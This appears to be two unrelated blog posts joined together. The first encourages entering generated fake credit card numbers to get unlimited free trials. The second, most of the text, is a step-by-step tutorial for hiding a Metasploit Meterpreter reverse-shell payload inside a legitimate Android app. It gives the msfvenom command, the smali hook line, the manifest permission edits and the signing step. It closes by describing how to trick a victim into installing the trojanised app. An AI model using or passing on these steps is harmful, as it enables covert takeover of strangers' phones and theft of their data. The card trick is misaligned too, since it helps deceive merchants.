Get Unlimited Free Trials Using a "Real" Fake Credit Card Number

When I see the words "free trial," I know I'm probably going to have to whip out my credit card and enter in the number to "not get charged." Then I end up forgetting about the trial and want to kick myself in the ass when I see my statement at the end of the month.

In order to avoid that rigmarole, you can actually use fake credit numbers instead of your own, and you can do that using the site getcreditcardnumbers.com, which can generate up to 9,999 credit card numbers at a time, or just one.

Now, to be completely clear, these numbers cannot be used to purchase any item. Nada. Zilch. Nothing. For that to work, you would need a valid expiration date and CVV or CSV number. This site merely provides the standard 16 digit credit card number that can be used to bypass certain online forms that only ask for the number.

How Does It Work?
The credit card number generator uses a system based off of the Luhn Algorithm, which has been used to validate numbers for decades. You can learn more about the algorithm on their webpage, or check out the Null Byte guide on how credit card algorithms work. A fake number will work for sites that store credit card information to either charge you later or ask you to upgrade.

For sites that ask for an upfront fee or have an automatic charge sometime down the line (Hulu Plus, Netflix, Spotify), this won't work since they ask for more than just a credit card number for validation. You can, however, get unlimited free trials on those sites using a simple trick with your email address if you have a valid card number with expiration date and CSV.

Getting a Card Number on Android
There's also an Android application for getting fake card numbers called CardGen, available for free in the Play Store. You can generate and validate credit card numbers directly from the app, making it easy to use on the go as well. Validation in particular would be useful if you were accepting credit card payments on your own site and wanted to make sure the cards were legit.

The app is ad-supported, but since it's free, I can live with that. In the generate field you can select from most of the major credit card providers, including American Express, Mastercard, Visa, and Discover. The disclaimer explains what the app does and how you should use it.

What would you do with these credit card number generators? Let us know in the comments section.

Embed a Metasploit Payload in an Original .apk File

Metasploit's flagship product, the Meterpreter, is very powerful and an all-purpose payload. Once installed on the victim machine, we can do whatever we want to their system by sending out commands to it. For example, we could grab sensitive data out of the compromised system.

The Meterpreter payload also comes as an installable .apk file for Android systems. Great! Now we can use Metasploit to compromise Android phones also. But if you have tried out these payloads you would know that they do not look convincing. No one in their right mind is going to install and run such an app, which apparently does nothing when it is opened. So how are we going to make the victim run the payload app in their phone?

One of the solutions is that you can embed the payload inside another legitimate app. The app will look and behave exactly as the original one, so the victim won't even know that his system is compromised. That's what we are going to do in this tutorial.

NOTE – This is a follow-up post of my previous post, in which I showed you how to do this using a very simple yet effective Ruby script. If you haven't read it, check it out. If you are not willing to go down the hard path, you can use that method to do it just fine. But if you want to know the inner workings and have a greater knowledge, continue reading this post. And also, In the following Android Hacking tutorials, I may refer to this tutorial, so If you can take it, I suggest you to keep on reading.

PRE-REQUESTS:

This tutorial is based on the Kali Linux Operating System. I'm sure it can be done in other OS, especially Linux Distros, but that will involve some more complications so I'm not going to cover those. If you are serious about Hacking or Penetration Testing, if you prefer, you should use Kali as it was built specifically for Pen-Testing.

We will also need some libraries and tools in the following steps, so I think it's better if you install them right now.

To install the required libraries, enter this command at the console:

apt-get install lib32stdc++6 lib32ncurses5 lib32z1_

And to get the latest version of ApkTool, head over to this site and follow the installation instructions.

Also download the apk which you want to be backdoor-ed from any source you like. Just do a google search "app_name apk download" and Google will come up with a lot of results. Save that apk in the root folder.

BRIEF OVERVIEW:
Since this tutorial is a little bit long, I'm giving a brief overview of what we are going to do here.

1.Generate the Meterpreter payload
2.Decompile the payload and the original apk
3.Copy the payload files to the original apk
4.Inject the hook into the appropriate activity of the original apk
5.Inject the permissions in the AndroidManifest.xml file
6.Re-compile the original apk
7.Sign the apk using Jarsigner

That's about it. I will also show you how can you get a working Meterpreter session using that backdoored apk, if you don't know that already. So let's get started.

Step 1: GENERATE the PAYLOAD:

First of all, we have to make the Meterpreter payload. We are going to use MSFVenom for this. The command is-

msfvenom -p android/meterpreter/Payload_Type LHOST=IP_Address LPORT=Incoming_Port -o meterpreter.apk

Replace Payload_Type by any of the following payloads available. The function of all these payloads are same, essentially they are all Meterpreter payloads, the difference is only in the method they use to connect to your Kali system. The available Payload_Types are –

1.reversetcp
2.reverse_http
3.reverse_https

You can use any one you like, I'm going to use reverse_https as an example.

Replace IP_Address by the IP address to which the payload is going to connect back to, i.e the IP address of the attacker's system. If you are going to perform this attack over a local network (eg. if the victim and attacker are connected to the same WiFi hotspot), your Local IP will suffice. To know what your local IP is, run the command – ifconfig 

If you are going to perform this attack over the Internet, you have to use your public IP address, and configure your router properly (set up port forwarding) so that your system is accessible from the Internet. To know your public IP, just google "My IP" and Google will help you out.

Replace Incoming_Port with the port no. which you want to be used by the payload to connect to your system. This can be any valid port except the reserved ones like port 80 (HTTP). I'm going to use 4895 as an example.


So run the command using replacing the keywords with appropriate values and MSFVenom will generate a payload "meterpreter.apk" in the root directory. Note that we specified the output file name using the "-o meterpreter.apk" argument in the command, so if you like, you can name it anything else also.

Step 2: DECOMPILE the APKs:

Now we have to decompile the APKs, for this we are going to use APKTool. It decompiles the code to a fairly human-readable format and saves it in .smali files, and also successfully extracts the .xml files. Assuming you have already installed the latest apktool and also have the original apk file in the root directory, run the following commands –

apktool d -f -o payload /root/meterpreter.apk

apktool d -f -o original /root/Original_APK_Name

It will decompile the payload to "/root/payload" and the original apk to "/root/original" directory.

Step 3: COPY the PAYLOAD FILES:

Now we have to copy the payload files to the original app's folder. Just go to "/root/payload/smali/com/metasploit/stage" and copy all the .smali files whose file name contains the word 'payload'. Now paste them in "/root/original/smali/com/metasploit/stage". Note that this folder does not exists, so you have to create it.

Step 4: INJECT the HOOK in the ORIGINAL .SMALI CODE:

In the previous step, we just copied the payload codes inside the original apk, so that when the original apk is recompiled, it will contain the payload. But that doesn't necessarily mean that the payload will run. To ensure that the payload runs, we have to inject a hook in the original apk's .smali code. If you are wondering what is this hook thingy I'm talking about, well essentially it's a code which intercepts some specific function call and reacts to it. In this case, we are going to place the hook so that when the app is launched, it will also launch the payload with it.

For this, firstly we have to find out which activity to put it simply, activities are sections of code, it's similar to frames in windows programming is run when the app is launched. We can get this info from the AndroidManifest.xml file.

So open up the AndroidManifest.xml file located inside the "/root/original" folder using any text editor. If you know HTML, then this file will look familiar to you. Both of them are essentially Markup Languages, and both use the familiar tags and attributes structure e.g. <tag attribute="value"> Content </tag>. Anyway, look for an <activity> tag which contains both the lines –

_<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>_

On a side note, you can use CTRL+F to search within the document in any GUI text editor. When you locate that activity, note its "android:name" attribute's value. In my case, as you can see from the screenshot below, it is "com.piriform.ccleaner.ui.activity.MainActivity".

Those two lines we searched for signifies that this is the activity which is going to start when we launch the app from the launcher icon, and also this is a MAIN activity similar to the 'main' function in traditional programming.

Now that we have the name of the activity we want to inject the hook into, let's get to it! First of all, open the .smali code of that activity using gedit. Just open a terminal and type –

gedit /root/original/smali/Activity_Path

Replace the Activity_Path with the activity's "android:name", but instead of the dots, type slash. Actually the smali codes are stored in folders named in the format the "android:name" is in, so we can easily get the location of the .smali code in the way we did. Check the screenshot below and you will get an idea of what I'm trying to say.

Now search for the following line in the smali code using CTRL+F –

;->onCreate(Landroid/os/Bundle;)V

When you locate it, paste the following code in the line next to it –

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

What we are doing here is, inserting a code which starts the payload alongside the existing code which is executed when the activity starts. Now, save the edited smali file.

Step 5: INJECT the NECESSARY PERMISSIONS:

From developer.android.com –

Additional finer-grained security features are provided through a "permission" mechanism that enforces restrictions on the specific operations that a particular process can perform.

If we do not mention all the additional permissions that our payload is going to need, it cannot function properly. While installing an app, these permissions are shown to the user. But most of the users don't care to read all those boring texts, so we do not have to worry about that much.

These permissions are also listed in the previously encountered AndroidManifest file. So let's open the AndroidManifest.xml of both the original app and the payload from the respective folders. The permissions are mentioned inside <uses-permission> tag as an attribute 'android:name'. Copy the additional permission lines from the Payload's AndroidManifest to the original app's one. But be careful that there should not be any duplicate.

Here's my original app's AndroidManifest before editing –

After adding the additional ones from the Payload's AndroidManifest, my /root/original/AndroidManifest.xml looks like this –

Step 6: RECOMPILE the ORIGINAL APK:

Now th hard parts are all done! We just have to recompile the backdoored app into an installable apk. Run the following command –

apktool b /root/original

You will now have the compiled apk inside the "/root/original/dist" directory. But, we're still not done yet.

Step 7: SIGN the APK:

This is also a very important step, as in most of the cases, an unsigned apk cannot be installed. From developer.android.com –

Android requires that all apps be digitally signed with a certificate before they can be installed. Android uses this certificate to identify the author of an app, and the certificate does not need to be signed by a certificate authority. Android apps often use self-signed certificates. The app developer holds the certificate's private key.

In this case we are going to sign the apk using the default android debug key. Just run the following command –

jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA apk_path androiddebugkey

Be sure to replace the apk_path in the above command with the path to your backdoored apk file.

PROFIT?!:

Now if you can get the victim to install and run this very legit-looking app in his phone, you can get a working meterpreter session on his phone!

If you face any difficulty, please let me know in the comments. Thanks for reading!